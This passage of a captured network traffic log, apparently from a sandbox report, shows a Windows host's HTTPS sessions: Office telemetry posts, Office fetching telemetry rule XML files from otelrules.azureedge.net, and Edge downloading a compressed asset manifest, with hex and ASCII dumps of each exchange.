2024-10-31 00:18:44 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-31 00:18:45 UTC	248	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:45 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-10-31 00:18:45 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:45 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:45 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001845Z-16849878b78x44pv2mpb0dd37w00000000zg000000001259 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:45 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:45 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:45 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 8a6aace2-001e-0017-571c-290c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001845Z-15b8d89586f989rkwt13xern54000000041g00000000acqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:45 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:45 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:45 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001845Z-16849878b78z2wx67pvzz63kdg00000007fg000000000frm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:45 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:45 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:45 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001845Z-16849878b78fssff8btnns3b1400000008yg00000000rspq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:45 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49902	13.107.246.57	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 00:18:45 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:45 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 7344f907-e01e-0000-2090-286807000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241031T001845Z-16849878b787bfsh7zgp804my400000007p0000000000vne Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:45 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-10-31 00:18:45 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-10-31 00:18:45 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-10-31 00:18:45 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-10-31 00:18:45 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-10-31 00:18:45 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-10-31 00:18:45 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-10-31 00:18:45 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-10-31 00:18:45 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-10-31 00:18:45 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
